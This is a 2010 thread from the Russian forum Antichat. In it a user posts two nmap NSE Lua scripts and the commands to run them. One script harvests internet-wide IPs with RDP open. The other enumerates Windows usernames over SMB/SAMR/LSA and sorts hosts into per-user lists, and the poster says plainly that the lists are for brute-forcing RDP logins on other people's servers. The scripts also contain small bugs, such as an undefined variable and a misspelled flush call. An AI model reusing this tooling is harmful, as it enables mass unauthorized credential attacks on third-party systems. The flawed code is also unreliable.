Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Скрипты nmap (https://forum.antichat.xyz/showthread.php?t=175558)

PabloPicasso 02.02.2010 11:40

Скрипты nmap
 
Вот почему большинство обитателей форумов по сет. безопасности не используют функционал nmap скриптов?

drim 02.02.2010 11:41

а вы их используете? если да, то интересно послушать какие...

PabloPicasso 02.02.2010 11:44

Цитата:

Сообщение от drim
а вы их используете? если да, то интересно послушать какие...

в данный момент smb-enum-users.nse, дописав пару строчек кода он создает файлы вида [user].txt и складывает в них хосты с обнаруженным T:3389 предварительно определив имена пользователей 2-мя способами.

для брута дедиков просто сказка )

PabloPicasso 02.02.2010 20:54

например задались вопросом отпарсить IP-шки с вывода сканирования 3389 порта RDP в 1 файл...
легко, пишем:

ips.nse
Код:

-- напишем описание
description = [[
Создает список IP в файл исходя из параметров порта 3389.
]]

-- укажем автора
author = "ROleg aka PabloPicasso"

-- укажем условия использования =)
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

-- категории к которым относится скрипт
categories = {"discovery"}

-- укажем необходимые либы для роботы с портами
require "shortport"

-- оброботка action начнется если portrule будет правдой
-- т.е. если порт_или_сервис будут 3389, ms-term-serv
portrule = shortport.port_or_service(3389, "ms-term-serv")

-- выполняем основные действия
-- примем на входе хост и порт
action = function(host, port)
            -- откроем файл ip.txt для записи с добавлением (а+)
        file = io.open ("ip.txt","a+")
            -- добавим в очередь записи айпишку
        file:write (host.ip.."\n")
            -- запишем в файл
        file:flash()
            -- закроем файл
        file:close()

end

нечего сложного, единственная проблема что для сканера есть рус. документация http://nmap.org/man/ru/ а для скриптового движка только на англ. http://nmap.org/book/nse.html

запускаем: nmap -iR 0 -n -PS 3389 -p T:3389 --script=ips.nse
и получили шустрый многопоточный сканер RDP по всему инету с кучей опций сканирования.

PabloPicasso 03.02.2010 15:10

продолжим дальше, хотим создать списки для брута RDP используя реальные имена пользователей на атакуемой системе, в этом нам помогут SMB и RPC библиотеки NMAP:

rdp-to-users.nse
Код:

description = [[
1. Резолвим пользователей 2-мя способами через lsa и samr
 средствами SMB сервиса проверяемой системы.
2. При доступности открытого 3389 порта создаем файлы вида
 [username].txt и записываем туда айпишки серверов имеющих такой аккаунт.
]]


author = "ROleg aka PabloPicasso"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery"}

require 'msrpc'
require 'smb'
require 'stdnse'
require 'comm'
require 'shortport'


-- укажем условие хоста, функция smb.get_port()
-- ищет комбинацию открытых портов
-- для доступа к SMB сервису обычно 139 либо поверх 445 порта
-- если найдены порты, открыты, делаем action
hostrule = function(host)
        return smb.get_port(host) ~= nil
end


-- примем на входе хост
action = function(host)

        -- об'явим необходимые переменные
        -- i и j пригодятся для циклов for
        local i, j
        -- определим статусные переменные
        local samr_status = false
        local lsa_status  = false
        -- и для результата
        local samr_result = ""
        local lsa_result  = ""
        -- массивы имен пользователей
        local names = {}
        local names_lookup = {}
        -- массив для сообщений на экран
        local response = {}

        -- т.к. нам важно чтобы был открыт 3389 порт,
        -- будем проверять чтобы лишний раз не выполнять основное тело скрипта
        if (shortport.port_or_service(3389, "ms-term-serv")) then

        -- Пробуем получить информацию при помощи SAMR.
        samr_status, samr_result = msrpc.samr_enum_users(host)

        -- если получилось
        if(samr_status) then
                -- от 1 до #samr_result по одному =)
                for i = 1, #samr_result, 1 do
                        -- заносим в массив names[] полученные результаты
                        table.insert(names, samr_result[i])
                        -- будем избавляется от дубликатов
                        names_lookup[samr_result[i]['name']] = true
                end
        end

        -- Пробуем получить информацию через LSA.
        lsa_status, lsa_result  = msrpc.lsa_enum_users(host)
               
        if(lsa_status) then
                for i = 1, #lsa_result, 1 do
                        if(lsa_result[i]['name'] ~= nil) then
                                -- проверим нет ли уже у нас такого имени
                                if(not(names_lookup[lsa_result[i]['name']])) then
                                        -- заносим в массив names[] полученные результаты
                                        table.insert(names, lsa_result[i])
                                end
                        end
                end
        end

        -- Если все способы не сработали
        if(samr_status == false and lsa_status == false) then
                -- и если ответом было ACCESS_DENIED
                if(string.find(lsa_result, 'ACCESS_DENIED')) then
                        return stdnse.format_output(false, "Доступ ограничен настройками политик")
                end
               
                return stdnse.format_output(false, {"Невозможно определить имена пользователей", "SAMR вернул " .. samr_result, "LSA вернул " .. lsa_result})
        end

        -- Делаем сортировку
        table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)

        -- Проверим есть ли имена в массиве
        if(#names == 0) then
                table.insert(response, "Скрипт не получил имен, извините!")
        else

                -- Запишем айпишки серверов в файлы, для каждого пользователя в свой
                local names = {}
                for _, info in ipairs(domain_users) do
               
                        file = io.open (info['name']..".txt","a+")
                        file:write (host.ip.."\n")
                        file:flush()
                        file:close()
                       
                        table.insert(names, info['name'])
                end

                -- Выводим на стандартный выход результаты работы
                table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
        end
       
        end
       
        return stdnse.format_output(true, response)
end

брутить по спискам Administrator.txt, Admin.txt, root.txt или Вася.txt намного проще чем перебирать все возможные логины брутом =)
но есть свои минусы, не везде включены SMB службы (

заходим например в диррикторию users_ip_to_brute: cd users_ip_to_brute
выполняем: nmap -iR 0 -n -sU -sS -PS137,139,445,3389 -p U:137,T:139,445,3389 --script=rdp-to-users.nse
ждем, брутим...

k0xy 08.02.2010 18:46

Немного не по теме, но хотелось бы узнать, в nmap есть возможность массового сканирования хостов? То бишь конкретнее у меня есть список хостов, к примеру и мне нужно просканировать сервисы, которые там установлены. Так-то юзаю XSpider, но nmap серьезнее все таки.

InFlame 08.02.2010 19:19

Щас всё и вся с Питоном скрещивают. Было б неплохо, если nmap поддерживал скрипты на Python. =)

PabloPicasso 10.02.2010 15:12

to k0xy, конечно nmap -iL <имя_входного_файла> -sV


Время: 15:59